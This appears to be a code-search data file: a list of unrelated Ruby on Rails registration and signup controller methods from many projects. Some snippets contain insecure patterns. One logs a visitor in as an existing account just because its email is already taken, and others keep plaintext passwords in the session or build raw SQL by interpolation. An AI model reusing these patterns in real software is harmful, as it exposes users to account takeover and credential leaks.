...but if they do, it has to be a valid one, not the \"choose one\" default.\n #\n \n if params[:university] && params[:university][:university_id] != \"0\"\n\n if University.find_by_university_id(params[:university][:university_id].to_i).nil?\n flash[:message] = \"You must pick a university.\"\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) if r_id\n return redirect_to(:controller => r_controller, :action => r_action ) \n else\n session[:univ_id] = params[:university][:university_id] \n end\n\n end\n # POST-CONDITION: \n # session[:univ_id] is set\n\n # if we're 100% done with customer && univ choice, move on to step 2, else\n # stay in step 1 to get the rest of the material\n if @customer && session[:univ_id]\n return redirect_to(:action => :set_address ) \n end\n\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n \n rescue Exception => e\n flash[:message] = e\n ExceptionNotifier::Notifier.exception_notification(request.env, e).deliver\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n end\n \n end", "def create\n #see comment in tutee/registrations_controller.rb to see why this param stuff is going on\n tutor_params[:major] = process_major_input params['tutor']['major']\n flash[:notice] = determine_valid_account Tutor.new(tutor_params)\n redirect_to new_tutor_session_path\n end", "def oneClickRegister\n @in_person_id = 320\n @opportunity_application = OpportunityApplication.new(opportunity_id: @in_person_id,\n user_id: current_user.id, reason_to_apply: '', opportunity_applications_type_id: 3)\n @opportunity = Opportunity.find(@in_person_id)\n @opportunity_application.save!\n if @opportunity_application.save!\n public_opportunities_users = OpportunitiesUser.new(opportunity_id: @in_person_id)\n public_opportunities_users.user = current_user\n public_opportunities_users.save\n public_opportunities_users.each do |ou|\n CompetenciesUser.new(user_id: ou.id)\n end\n redirect_to root_url,\n notice: 'Your registration for the speaker series is complete. You can now continue to explore additional skills.'\n end\n end", "def register\n personal_information\n your_address\n end", "def registration\n #If the order started checkout as guest or if a user is logged in then continue\n redirect_to checkout_path and return if current_user || current_order.guest_checkout?\n @order = current_order\n redirect_to cart_path and return unless @order and @order.checkout_allowed?\n @user_session = UserSession.new(:email=> params[:email])\n end", "def register\n if request.post?\n @user.update_attributes params['user']\n if @user.valid?\n after_register\n redirect_to welcome_path and return\n else\n if @user.errors[:email].include?(\"Already Taken\")\n # Look up the already-existing user, set the current tracker to that user, and send them along\n right_user = User.where(:email => @user.email).first\n @tracker.user_id = right_user.id\n cookies[:user_id] = right_user.id\n session[:email_pwd] = params['user']['email_password']\n @user = right_user\n @tracker.log(:existing_user_returned, \"Existing user #{@user.email} got into the landing path again.\")\n increment_page\n redirect_to welcome_path and return\n else\n @tracker.log(:failed_register, \"User creation failed with message: #{@user.errors.full_messages.join(\", \")}\")\n end\n end\n end\n render_path_page\n end", "def create\n p = params[:registration]\n training = Training.find_by_code(p[:training_code])\n owner = Student.find_by_wp_email(p[:owner_email])\n reg_type = p[:reg_type]\n if reg_type == 'single-self'\n registerable = owner\n elsif reg_type == 'single-other'\n registerable = Student.find_by_wp_email(p[:registrant_email])\n else \n registerable = Group.find_by_handle(p[:group_handle])\n end\n @registration = Registration.new(reg_type: reg_type)\n @registration.owner = owner\n @registration.registerable = registerable\n @registration.training = training\n\n # Fix this. We need to have a sequence in the database.\n @registration.code = 100000 + rand(900000)\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to @registration, notice: 'Registration was successfully created.' }\n format.json { render :show, status: :created, location: @registration }\n else\n format.html do\n @trainings = Training.all\n render :new\n end\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_registration_succeeds\n user = User.new randomize: true\n # Submit, but don't validate success, so we can assert below\n AllPages.registration_page.register(submit: true, validate_success: false, user: user)\n\n assert(AllPages.registration_page.validate_registration_success, 'The success page was not displayed after registration')\n end", "def register\n end", "def register\n end", "def register\n end", "def create\n @user_account_registration = UserAccountRegistration.new(params[:user_account_registration])\n logger.debug \"User Account Registration = #{@user_account_registration}\"\n captcha_valid = validate_recap(params, @user_account_registration.errors)\n @user_account_registration.errors.clear\n\n if @user_account_registration.valid? == false || captcha_valid == false\n # perform validation on fields even if captcha response is invalid. Otherwise, user has to solve captcha just to get form feedback, which is super annoying.\n redirectPage=false\n render500=false\n @user_account_registration.errors.add :recaptcha, \"Invalid Captcha Response\" unless captcha_valid\n if @user_account_registration.errors[:email].include?(\"An account with this email already exists\") && captcha_valid == false\n # to avoid bots being able to check for valid emails, only display existing email message if captcha is valid\n @user_account_registration.errors[:email].reject! { |x| x == \"An account with this email already exists\" }\n end\n else\n begin\n @user_account_registration.register\n redirectPage= true\n render500 = false\n session[:guuid] = @user_account_registration.email\n rescue InvalidPasswordException => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n\n APP_CONFIG['password_policy'].each { |msg| @user_account_registration.errors.add(:password, msg) }\n redirectPage = false\n render500 = false\n rescue Exception => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n\n logger.info { e.message }\n render500=true\n end\n end\n respond_to do |format|\n if redirectPage==true\n format.html { redirect_to(\"/eula\")}\n format.json { render :json => @user_account_registration,action: \"/eulas\"}\n elsif render500==true\n format.html { render :noframe_500, :status => 500 }\n #format.json { :status => :not_found}\n format.any { head :not_found }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_account_registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def wizard_new\n \n @subtype=params[:sub_type]\n @package = \"\"\n @image = \"\"\n if @subtype == \"1\"\n @package = \"Basic Snack Pack\"\n @image = \"/../assets/new-design/img1-mem.jpg\"\n elsif @subtype == \"2\"\n @package = \"Double Snack Pack\"\n @image = \"/../assets/new-design/img1-mem.jpg\"\n else\n @package = \"Family Snack Pack\"\n @image = \"/../assets/new-design/img1-mem.jpg\"\n end\n @subscription = Subscription.find_by_id @subtype\n unless @subscription.blank?\n if request.env['omniauth.auth'].present?\n params = request.env[\"omniauth.params\"]\n\n @fb_data = fetch_facebook_params\n @user = Spree::User.where(email: @fb_data[:email]).first\n\n\n if (@user.blank? && params[\"login\"].present?) || (@user.present? && is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?)\n\n #here need to check if it's a fb registered user + in params we must receive login\n #if !is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?\n #use the @not_yet_fb_signed_up to notify the message at the top.\n\n @not_yet_fb_signed_up = true\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n #user does not registered yet & coming for signup(or login params is blank.)\n elsif @user.blank? && params[\"login\"].blank?\n @user = Spree::User.new(email: @fb_data[:email], facebook_token: @fb_data[:fb_token], image: @fb_data[:image])\n @user.addresses.build\n @user.creditcards.build\n @user.addresses.first.firstname = @fb_data[:firstname]\n @user.addresses.first.lastname = @fb_data[:lastname]\n\n #user is registered & still trying for signup via facebook\n elsif @user.present? && params[\"login\"].blank?\n @registered_email = @user.email\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n else\n #update the token if @user_founds token is not same as the @fb_token\n @user.update_attributes(facebook_token: @fb_data[:fb_token], image: @fb_data[:image]) if @user.facebook_token != @fb_data[:fb_token]\n sign_in(:spree_user, @user)\n redirect_to spree.snack_queue_orders_path\n end\n\n else\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n end\n \nelse\n redirect_to root_path\nend\n \n end", "def create\n if (user_limit_reached?)\n redirect_to(:controller => \"waitlist_users\", :action => \"new\")\n else\n @user_account_registration = UserAccountRegistration.new(params[:user_account_registration])\n logger.debug \"User Account Registration = #{@user_account_registration}\"\n captcha_valid = validate_recap(params, @user_account_registration.errors)\n @user_account_registration.errors.clear\n\n if @user_account_registration.valid? == false || captcha_valid == false\n # perform validation on fields even if captcha response is invalid. Otherwise, user has to solve captcha just to get form feedback, which is super annoying.\n redirectPage=false\n render500=false\n @user_account_registration.errors.add :recaptcha, \"Invalid Captcha Response\" unless captcha_valid\n if @user_account_registration.errors[:email].include?(\"An account with this email already exists\") && captcha_valid == false\n # to avoid bots being able to check for valid emails, only display existing email message if captcha is valid\n @user_account_registration.errors[:email].reject! { |x| x == \"An account with this email already exists\" }\n end\n else\n begin\n @user_account_registration.register\n redirectPage= true\n render500 = false\n session[:guuid] = @user_account_registration.email\n rescue InvalidPasswordException => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n\n APP_CONFIG['password_policy'].each { |msg| @user_account_registration.errors.add(:password, msg) }\n redirectPage = false\n render500 = false\n rescue Exception => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n\n logger.info { e.message }\n render500=true\n end\n end\n respond_to do |format|\n if redirectPage==true\n format.html { redirect_to(\"/eula\")}\n format.json { render :json => @user_account_registration,action: \"/eulas\"}\n elsif render500==true\n format.html { render :noframe_500, :status => 500 }\n #format.json { :status => :not_found}\n format.any { head :not_found }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_account_registration.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def attemp_signup\n\n end", "def final\n\n\t\tif current_vendor.update_attributes(params[:vendor])\n\n\t\tcurrent_vendor.save # TODO: needed?\n\t\tredirect_to profile_vendors_path(current_vendor)\n\t\telse\n\n\t\trender :action => :second_step, :layout => 'signup'\n\t\tend\n\t\tend", "def check_registration\n return unless Spree::Auth::Config[:registration_step]\n return if spree_current_user || current_order.email\n store_location\n redirect_to spree.checkout_registration_path\n end", "def register\n\t\ttype = @view.type_client\n\t\t# user_attributes = @view.display_register\n\t\tif type == \"admin\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Admin.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telsif type == \"vendor\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Vendor.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telsif type == \"client\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Client.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telse\n\t\t \tputs \"Try again\"\n\t\t \tputs \"\"\n\t\t \toption = @view.initial_view\n\t\t \tselect(option)\n\t\tend\n\tend", "def register_automatically(user, project, &block)\n # Automatic activation\n user.status = User::STATUS_ACTIVE\n user.last_login_on = Time.now\n \n \n \n \n \n if verify_recaptcha(:model => user, :message => \"Oh! It's error with reCAPTCHA!\") && user.save\n self.logged_user = user\n# membership = project.members.build\n# membership.user = user\n# membership.save\n \n \n \n sql = ActiveRecord::Base.connection();\n sql.execute \"SET autocommit=1\";\n sql.begin_db_transaction \n sql.execute(\"INSERT INTO members (user_id, project_id, created_on, mail_notification) VALUES (#{@user.id},#{project.id},\\\"#{DateTime.now}\\\",0)\")\n sql.commit_db_transaction\n \n\n \n \n \n \n flash[:notice] = l(:notice_account_activated)\n redirect_to :controller => 'my', :action => 'account'\n else\n yield if block_given?\n end\n end", "def account_complete # POST '/admin/account_setup'\n @admin = Admin.find(session[:admin_id])\n\n # This section of the site is built for new admin accounts.\n # Update the admin attributes with more detailed information from the\n # account_setup (step 2) form, && update the their first store which was\n # instantiated at the account_create action.\n if @admin.update(admin_params) && @admin.stores.first.update(store_params)\n ## Sign-up is successful and admin dashboard is loaded.\n redirect_to admin_path\n else\n render :account_setup\n end\n end", "def load_step(_sub_object_attribute = nil)\n @post_path = wizard_post_path\n @account = wizard_load_or_redirect(accounts_registration_account_for_url)\n end", "def setup_step\n @post_path = wizard_post_path\n @account = wizard_load || Account.new\n end", "def caregiver_register\n if (params[:user_uid] != nil)\n @pu_id = User.find_by(user_uid: params[:user_uid])\n if @pu_id.present?\n cg_ids = UserAssociation.where(patient_id: @pu_id.id).pluck(:caregiver_id) != [] ? UserAssociation.where(patient_id: @pu_id.id).pluck(:caregiver_id) : nil\n caregivers = User.where(id: cg_ids).where.not(email: nil, password: nil)\n if (caregivers.count < 2)\n pay_status = @pu_id.active_status\n if (pay_status == true)\n mob_no = User.find_by(mobile_no: params[:mobile_no], role_id: params[:role_id])\n if mob_no.present?\n @cg = mob_no.update(name: params[:name], email: params[:email], password: params[:password], active_status: true)\n @cg = mob_no\n user_association = UserAssociation.find_by(patient_id: @pu_id.id, caregiver_id: @cg.id)\n if user_association.present?\n user_association = user_association.update(patient_id: @pu_id.id, caregiver_id: @cg.id)\n end\n UserMailer.welcome_user(@cg).deliver_now\n else\n @cg = User.new(name: params[:name], email: params[:email], mobile_no: params[:mobile_no], password: params[:password], role_id: params[:role_id], active_status: true)\n if @cg.save\n user_association = UserAssociation.create(patient_id: @pu_id.id, caregiver_id: @cg.id) \n UserMailer.welcome_user(@cg).deliver_now\n render json: {cg: @cg, user_association: user_association}, status: :ok\n else\n render json: { error: 'Mobile number or Email has been already taken' }, status: :unprocessable_entity\n end\n end\n else\n render json: { error: 'your patient needs to Subscription' }, status: :unauthorized\n end\n else\n render json: { message: \"The patient already have two caregivers\" }, status: :unprocessable_entity\n end\n else\n render json: { error: 'UID not valid' }, status: :unauthorized\n end\n end\n\n # if (params[:user_uid] != nil)\n # @pu_id = User.find_by(user_uid: params[:user_uid])\n # if @pu_id.present?\n # pay_status = @pu_id.active_status\n # if pay_status == true\n # mob_no = User.find_by(mobile_no: params[:mobile_no], role_id: params[:role_id])\n # if mob_no.present?\n # @cg = mob_no.update(name: params[:name], email: params[:email], password: params[:password], active_status: true)\n # @cg = mob_no\n # user_association = UserAssociation.find_by(patient_id: @pu_id.id, caregiver_id: @cg.id)\n # if user_association.present?\n # user_association = user_association.update(patient_id: @pu_id.id, caregiver_id: @cg.id)\n # end\n # UserMailer.welcome_user(@cg).deliver_now\n # else\n # @cg = User.new(name: params[:name], email: params[:email], mobile_no: params[:mobile_no], password: params[:password], role_id: params[:role_id], active_status: true)\n # if @cg.save\n # user_association = UserAssociation.create(patient_id: @pu_id.id, caregiver_id: @cg.id) \n # UserMailer.welcome_user(@cg).deliver_now\n # render json: {cg: @cg, user_association: user_association}, status: :ok\n # else\n # render json: { error: 'Mobile number or Email has been already taken' }, status: :unprocessable_entity\n # end\n # end\n # else\n # render json: { error: 'your patient needs to Subscription' }, status: :unauthorized\n # end\n # else\n # render json: { error: 'UID not valid' }, status: :unauthorized \n # end\n # end\n end", "def process_post\n service.sign_up_fisherman(\n JSON.parse(request.body.to_s).symbolize_keys\n ).on(\n fishing_application_succeeded: ->(result) {\n response.headers['Content-Type'] = \"application/json\"\n response.body = result.to_json\n true\n },\n fishing_application_conflicts: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 409\n },\n fishing_application_invalid: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 422\n }\n )\n end", "def step_1\n @user = @current_user\n @image = Image.new\n \n\n if request.get?\n if session[:omniauth]\n @current_user.desc = session[:omniauth][\"info\"][\"description\"]\n if session[:omniauth][\"provider\"] == \"weibo\"\n @image.remote_avatar_url = session[:omniauth][\"info\"][\"image\"]\n elsif session[:omniauth][\"provider\"] == \"qq_connect\"\n @image.remote_avatar_url = session[:omniauth][\"info\"][\"figureurl_1\"]\n end\n session[:omniauth] = nil\n end\n @jumpto_url = session[:jumpto]\n session[:jumpto] = nil\n return redirect_to @jumpto_url if @jumpto_url\n render(:template => \"users/step_1\", :layout => \"register\")\n else\n if @user.update_attributes(params[:user])\n redirect_to user_url(@user)\n else\n return\n end\n #redirect_to step_2_user_url(@user)\n end\n end", "def process_step_2\n @influencer = current_user.influencer\n if @influencer.update_attributes(params[:influencer])\n redirect_to action: :step_3\n else\n render action: :step_2\n end\n end", "def completed_registration\n if user_signed_in?\n unless current_user.has_role?('admin') || request.fullpath =~ /sign_out/ || current_user.needs_update_email?\n redirect_to new_setup_fee_payment_payments_url unless current_user.is_setup_fee_paid?\n end\n end\n end", "def step2\n user = User.new\n user.first_name = params[:first_name]\n user.last_name = params[:last_name]\n user.email = params[:username]\n user.email_confirmation = params[:username_confirmation]\n user.password = params[:password]\n user.password_confirmation = params[:password_confirmation]\n session[:user] = user\n if user.valid?\n session[:errors] = nil\n else\n session[:errors] = user.errors\n redirect_to admin_signup_step1_path\n end\n end", "def register\n\n\tend", "def after_create_account(result)\n\n end", "def register\n end", "def register_uki username\n puts \"Requesting a security token for the new UKI registration\"\n Dashlane::Uki.register_uki_step_1 username\n\n puts \"Enter the PIN sent by email:\"\n token = gets.chomp\n\n puts \"Registering the new device/UKI pair with Dashlane\"\n uki = Dashlane::Uki.generate\n Dashlane::Uki.register_uki_step_2 username, \"dashlane-ruby\", uki, token\n\n puts \"A new device 'dashlane-ruby' is registered with Dashlane (UKI: #{uki})\"\n puts \"Please add it to 'credentials.yaml'\"\n\n uki\nrescue => e\n puts \"Failed to register a new UKI with Dashlane: '#{e}'\"\nend", "def registers; end", "def do_signup\n hobo_do_signup do\n if this.errors.blank?\n #flash[:notice] << \"You must activate your account before you can log in. Please check your email.\"\n flash[:notice] << \" Your account has been created.\"\n\n # FIXME: remove these two lines after you get email working reliably\n # and before your application leaves its sandbox...\n #secret_path = user_activate_path :id=>this.id, :key => this.lifecycle.key\n #flash[:notice] << \"The 'secret' link that was just emailed was: <a id='activation-link' href='#{secret_path}'>#{secret_path}</a>.\"\n else\n flash[:notice] = @this.errors.full_messages.join(\"<br/>\")\n logger.info \"error is \" + flash[:notice]\n end\n\n end\n end", "def sign_up( data )\n\n # assert url starts with 'https://listings.expressupdateusa.com/Account/Register'\n puts 'Signing up with email: ' + data[ 'personal_email' ]\n\n @browser.goto 'https://listings.expressupdateusa.com/Account/Register'\n\n @browser.text_field(:id => 'Email').set data['email']\n @browser.text_field(:id => 'Password').set data['password']\n @browser.text_field(:id => 'ConfirmPassword').set data['password']\n @browser.text_field(:id => 'Phone').set data['phone']\n @browser.text_field(:id => 'BusinessName').set data['business_name']\n @browser.text_field(:id => 'FirstName').set data['firstname']\n @browser.text_field(:id => 'LastName').set data['lastname']\n @browser.select_list(:id => 'State').select data['state']\n @browser.checkbox(:id => 'DoesAcceptTerms').set\n\n\nenter_captcha\n\n@browser.button(:class => 'RegisterNowButton').click\n\n # If no return URl then 'Thank You for Registering with Express Update. An activation email sent!'\n\nself.save_account(\"Expressupdateusa\", { :email => data['personal_email'], :password => data['password']})\n\n\nif @chained\n self.start(\"Expressupdateusa/Verify\")\nend\n\n\ntrue \nend", "def create\n\n @registration = current_user.registrations.new(event_params)\n\n respond_to do |format|\n if @registration.save\n if @registration.amount_payable == 0.0\n format.html { redirect_to :controller => 'events', notice: 'Event was successfully registered.' }\n else\n format.html { redirect_to :controller => 'registrations', :action => 'summary', :id => @registration.id,notice: 'Event was successfully registered.' }\n end\n\n else\n @event =validate_event(event_params[:event_id])\n @registration.family_members = current_user.family_members.where('city_user_id != ?', current_user.user_id).all(:order => :city_user_id)\n format.html { render action: 'register' }\n end\n end\n\n end", "def check_registration\n return unless Spree::Auth::Config[:registration_step]\n return if Spree::Config[:allow_guest_checkout] and current_order.email.present?\n return if current_user or not current_order.user.anonymous?\n store_location\n redirect_to checkout_registration_path\n end", "def create\n @title_view = 'Nuevo Pre Registro de Patrimonio Cultural'\n @cultural_heritage_cultural_heritage_pre_register = CulturalHeritage::CulturalHeritagePreRegister.new(params[:cultural_heritage_cultural_heritage_pre_register])\n@cultural_heritage_cultural_heritage_pre_register.state = 5\n @cultural_heritage_cultural_heritage_pre_register.preRegisterRegistrationCode = PRE0 +@cultural_heritage_cultural_heritage_pre_register.id\n\n respond_to do |format|\n if @cultural_heritage_cultural_heritage_pre_register.save\n format.html { redirect_to(@cultural_heritage_cultural_heritage_pre_register, :notice => 'Pre Registro fue registrado correctamente.') }\n format.xml { render :xml => @cultural_heritage_cultural_heritage_pre_register, :status => :created, :location => @cultural_heritage_cultural_heritage_pre_register }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cultural_heritage_cultural_heritage_pre_register.errors, :status => :unprocessable_entity }\n end\n end\n end", "def setup\n # this method gets called before *each* omniauth endpoint call, so try to avoid logging when we're returning from\n # oauth'ing\n unless stored_register_redirect\n reg_redirect = params[:r]\n reg_redirect ||= request.referer if params[:ot] && (params[:ot] == \"far\") # facebook auth referral\n store_register_redirect(reg_redirect)\n end\n\n unless stored_auth_redirect\n auth_redirect = params[:r]\n auth_redirect ||= root_path if params[:state] && (params[:state] == 'w')\n store_auth_redirect(auth_redirect)\n end\n\n remember_remember_me\n remember_signup_flow_scope\n remember_signup_flow_type\n remember_signup_flow_origin_type\n remember_signup_flow_destination\n remember_signup_flow_network\n render :text => \"Setup complete.\", :status => 404\n end", "def patient_register\n @patient = User.new(name: params[:user][:name], email: params[:user][:email], password: params[:user][:password], mobile_no: params[:user][:mobile_no], address: params[:user][:address], country: params[:user][:country], role_id: params[:user][:role_id])\n if @patient.save\n if (@patient.role_id == 1)\n @patient.update(user_uid: rand(36**8).to_s(36).upcase) #SecureRandom.base64(6) #for generate the user_uid\n end\n user_uid = @patient.user_uid\n User.qr_image(user_uid)\n if params[:caregiver].present?\n @caregiver = User.find_by(mobile_no: params[:caregiver][:mobile_no])\n if @caregiver.present?\n @user_association = UserAssociation.create(patient_id: @patient.id, caregiver_id: @caregiver.id)\n else\n @caregiver = User.create(name: params[:caregiver][:name], mobile_no: params[:caregiver][:mobile_no], role_id: params[:caregiver][:role_id])\n @user_association = UserAssociation.create(patient_id: @patient.id, caregiver_id: @caregiver.id)\n end\n end\n UserMailer.welcome_user(@patient).deliver_now\n render json: {patient: @patient, caregiver: @caregiver, user_association: @user_association}, status: :ok\n else\n render json: { \"error\": \"Mobile number or Email has been already taken\" }, status: :unprocessable_entity\n end\n end", "def register\n if @user.blank? || (!@user.is_registered && @user.tips.count == 0 && @user.votes.count == 0)\n redirect_to :profile, alert: \"Registration Impossible. There is nothing to register\"\n elsif @user.is_registered\n redirect_to :profile, alert: \"Registration Impossible. Account already registered\"\n else\n if @user.register(user_registration_params.to_h)\n #cookies.delete(\"user_id\") #don't delete the cookie, just in case I'm logging in on someone else's device.\n sign_in @user\n redirect_to :profile, notice: \"Account successfully registered. You can now login from anywhere !\"\n else\n redirect_to :profile, alert: \"Registration failed. #{@user.errors.full_messages.to_sentence}\"\n end\n end\n end", "def create\n @wizard = Wizard.new(wizard_params)\n @wizard.modelstate_id = @wizard.next_state.id\n\n\n respond_to do |format|\n if @wizard.save\n\n # @wizardcustomtemplate = Wizardcustomtemplate.new\n # @wizardcustomtemplate.wizard_id = @wizard.id\n @eligibility = Cict.eligibilitytemplate(@wizard.commitmentitem_id)\n # @wizardcustomtemplate.customtemplate_id = @eligibility.first.id\n # @wizardcustomtemplate.user_id = current_user.id\n # @wizardcustomtemplate.save!\n\n if @eligibility.blank?\n format.html { redirect_to edit_wizard_path(@wizard), notice: \"Current step: #{@wizard.current_state.first.state}\" }\n else\n\n\n format.html { redirect_to eligibility_wizards_path(:id=>@wizard.id), notice: \"Current step: #{@wizard.current_state.first.state}\" }\n end \n format.json { render :show, status: :created, location: @wizard }\n else\n format.html { render :new }\n format.json { render json: @wizard.errors, status: :unprocessable_entity }\n end\n end\n end", "def registration\n user.registration_for course\n end", "def signup \n @page_title = 'Sign Up'\n return if generate_blank\n params[:user][:email].downcase!\n @user = User.new(params[:user]) \n if params[:account_type].nil?\n flash[:warning] = \"Please select a user type (student/renter/instructor).\"\n return\n end\n User.transaction(@user) do\n @user.new_password = true\n\n unless LoginEngine.config(:use_email_notification) and LoginEngine.config(:confirm_account)\n @user.email_verified = true\n end\n \n if @user.save\t\n @group = Group.find_by_group_name(params[:account_type]) \n @user.add_group @group\n key = @user.generate_security_token\n url = url_for(:action => 'home', :user_id => @user.id, :key => key)\n UserNotify.deliver_signup(@user, params[:user][:password], url)\n\n flash[:notice] = 'Signup successful! Please check your email at '\n flash[:notice] << @user.email + ' and confirm your membership before using the system.'\n @session[:user] = nil\n redirect_to '/'\n end\n end\n end", "def candidate_sign_up\n\n end", "def create\n build_resource(sign_up_params)\n\n resource.save\n yield resource if block_given?\n if resource.persisted?\n if resource.active_for_authentication?\n set_flash_message! :notice, :signed_up\n sign_up(resource_name, resource)\n # respond_with resource, location: after_sign_up_path_for(resource)\n render 'users/registrations/finish_registration'\n # redirect_to(controller: \"custom_registration\", action: \"index\") and return\n else\n set_flash_message! :notice, :\"signed_up_but_#{resource.inactive_message}\"\n expire_data_after_sign_in!\n # respond_with resource, location: after_inactive_sign_up_path_for(resource)\n render 'users/registrations/finish_registration'\n # redirect_to(controller: \"custom_registration\", action: \"index\") and return\n end\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n end", "def after_sign_up_path_for(resource)\n :new_reparation\nend", "def call\n add_fields(confirm_registration: true)\n end", "def register_create\n begin\n user_create('devise/registrations/register')\n rescue => e\n Rails.logger.error APP_CONFIG['error'] + \"(#{e.message})\" + \",From:app/controllers/registrations_controller.rb ,Action:restaurant_create\"\n flash.now[:alert] = '發生錯誤! 註冊失敗!'\n render 'devise/registrations/register'\n end\n end", "def user_details\n wizard_step(STEPS) { { after_merge: :save_account } }\n end", "def step2\n\n # See if the subdomain already exists\n subdomain = Account.find_by_subdomain(params[:subdomain])\n # The subdomain already exists so redirect them and display error\n if(!subdomain.nil?)\n flash[:error] = \"We're sorry, this web address already exists. Please try another.\"\n redirect_to :action => 'step1'\n end\n \n # If billing info is same as shipping then copy over\n if params[:bill_toggle]\n params[:cust][:bill_first_name] = params[:cust][:ship_first_name]\n params[:cust][:bill_last_name] = params[:cust][:ship_last_name]\n params[:cust][:bill_company] = params[:cust][:ship_company]\n params[:cust][:bill_address] = params[:cust][:ship_address]\n params[:cust][:bill_address2] = params[:cust][:ship_address2]\n params[:cust][:bill_city] = params[:cust][:ship_city]\n params[:cust][:bill_state] = params[:cust][:ship_state]\n params[:cust][:bill_zip] = params[:cust][:ship_zip]\n end\n \n # Store their information to the session object, but not when redirected back from process_order\n if params[:cust]\n session[:cust] = params[:cust]\n session[:email] = params[:email]\n session[:password] = params[:password]\n session[:subdomain] = params[:subdomain]\n end\n \n # Determine shipping costs\n @ship_ground = 12.95\n @ship_2day = 24.95\n @ship_overnight = 49.95\n \n # Do the multiplier based on qty\n if session[:qty].to_i > 1\n @ship_ground = @ship_ground + (session[:qty]*4.95)\n @ship_2day = @ship_2day + (session[:qty]*7.95)\n @ship_overnight = @ship_overnight + (session[:qty]*9.95)\n end\n \n # Determine tax\n if session[:cust][:ship_state] == 'TX'\n tax = (session[:subtotal] * 0.0825)\n session[:tax] = tax\n else\n session[:tax] = 0\n end\n \n # Store the total\n session[:total] = session[:subtotal] + @ship_ground + session[:tax]\n end", "def signup_info\n end", "def register\n return render :json => 'Invalid email address or password', status: 401 unless params[:email_address]\n existing_treater_account = TreaterAccount.find_by_email_address(params[:email])\n existing_user = existing_treater_account ? existing_treater_account.user : nil\n\n if existing_user.nil? && existing_treater_account.nil?\n #TODO - Fix attr_accessible white list so we dont' have to build this manually...\n user = User.create(email_address: params[:email], name: params[:name],\n password: params[:password], password_confirmation: params[:password_confirmation])\n treater_account = TreaterAccount.create(user_id: user.id, identifier: user.id, name: params[:name], email: user.email_address, authenticated_at: Time.now)\n user.account_setup\n\n session[:user_id] = user.id\n session[:external_account_id] = treater_account.id\n\n result = {}\n result[:on_complete_url] = params[:on_complete_url]\n return render :json => result.to_json, status: 200\n elsif existing_user && existing_treater_account.nil?\n #TODO - Fix attr_accessible white list so we dont' have to build this manually...\n # - Move all this logic to account_setup\n treater_account = TreaterAccount.create(user_id: existing_user.id, identifier: existing_user.id, name: params[:name], email: existing_user.email_address, authenticated_at: Time.now)\n\n session[:user_id] = existing_user.id\n session[:external_account_id] = treater_account.id\n\n result = {}\n result[:on_complete_url] = params[:on_complete_url]\n return render :json => result.to_json, status: 200\n else\n #login failed\n return render :json => 'Some error...', status: 401\n end\n end", "def after_sign_up_path_for(resource)\n if current_user\n update_mixpanel_user current_user\n $tracker.track(current_user.id, 'Sign Up', {\n '$email' => current_user.email,\n 'first_name' => current_user.first_name,\n 'last_name' => current_user.last_name,\n 'phone_number' => current_user.phone_number,\n 'occupation' => current_user.occupation,\n 'is_contributor' => current_user.is_contributor,\n 'current_sign_in_at' => current_user.current_sign_in_at,\n 'last_sign_in_at' => current_user.last_sign_in_at,\n 'current_sign_in_ip' => current_user.current_sign_in_ip,\n 'last_sign_in_ip' => current_user.last_sign_in_ip,\n 'receive_information_emails' => current_user.receive_information_emails\n })\n \n if ENV['MAILGUN_KEY']\n current_user.send_confirmation_instructions\n end\n\n end\n if $discord_bot\n $discord_bot.send_message($discord_bot_channel_notifications, \"Se ha registrado un nuevo usuario :tada:\")\n end\n\n #TODO\n #Validate student email.\n\n session[:user_just_signed_up] = true\n if params[:pricing_onboarding]\n #TODO \n #Otro if igual al primero con un && is_student y que dentro del envie is_student de param en lugar de is_monthly\n if !params[:is_monthly].blank?\n user_trial = UserTrial.create(user_id: current_user.id, trial_start: DateTime.now, trial_end: DateTime.now + 2.weeks, active: false)\n users_preferences_path(is_onboarding:true, go_to_law: params[:go_to_law], is_monthly: params[:is_monthly])\n elsif !params[:is_annually].blank?\n user_trial = UserTrial.create(user_id: current_user.id, trial_start: DateTime.now, trial_end: DateTime.now + 2.weeks, active: false)\n users_preferences_path(is_onboarding:true, go_to_law: params[:go_to_law], is_annually: params[:is_annually])\n else\n #When user chooses Prueba Gratis\n user_trial = UserTrial.create(user_id: current_user.id, trial_start: DateTime.now, trial_end: DateTime.now + 2.weeks, active: true)\n if ENV['MAILGUN_KEY']\n SubscriptionsMailer.welcome_basic_user(current_user).deliver\n 